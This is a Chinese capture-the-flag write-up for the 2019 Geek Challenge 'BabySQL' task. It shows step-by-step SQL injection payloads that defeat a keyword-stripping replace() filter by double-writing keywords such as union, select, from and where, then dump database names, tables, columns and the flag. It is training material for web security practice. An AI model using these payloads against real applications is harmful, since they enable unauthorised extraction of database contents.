[极客大挑战 2019]BabySQL wp
主要考点就是sql注入,以及replace()函数过滤,解决方法双写绕过
打开页面,试试万能密码,发现密码不对,可以判断是sql注入,方式是get请求。
接下来就是查列数,试试注入
?username=admin&password=123 %27 order by 1 %23
发现回显只显示出了der 1,说明or 和 by 都被过滤了,那我们就试一试双写能否绕过
发现没有报错,那么双写就可以绕过过滤,继续查列数,当查到4 的时候报错,列数为3.
继续找注入点,注入
?username=admin&password=123 %27 union select 1,2,3 %23
发现回显只显示了1,2,3 那么可以判断过滤了union和select,双写绕过,注入
?username=admin&password=123 %27 ununionion seselectlect 1,2,3 %23
找到注入点2和3.
下一步我们开始爆数据库,试着注入
?username=admin&password=123 %27 ununionion seselectlect 1,2,group_concat(schema_name)from
(information_schema.schemata) %23
发现回显只有 ‘(infmation_schema.schemata) #’’ 说明from,information中有的or,where都被过滤了,那么我们双写一下再试试
注意双写绕过.
?username=admin&password=123 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23
爆出全部数据库,猜测flag应该是在ctf库中,我们继续查表,注入
?username=admin&password=123 %27 ununionion seselectlect 1,2,group_concat(table_name)%20frfromom%20infoorrmation_schema.tables whwhereere table_schema='ctf'%23
获得表名Flag,下面就爆出他的字段名
?username=admin&password=123 %27 ununionion seselectlect 1,2,group_concat(column_name)%20frfromom%20infoorrmation_schema.columns whwhereere table_name='Flag'%23
得到字段名是flag,下面我们爆数据。注入
?username=admin&password=123 %27 ununionion seselectlect 1,2,group_concat(concat_ws(0x23,flag)) frfromom ctf.Flag%23
5uuuuuu~~找到falg啦
那么总结一下,这道题就是让你判断函数过滤,然后找到绕过方法,双写也许只是其中一种。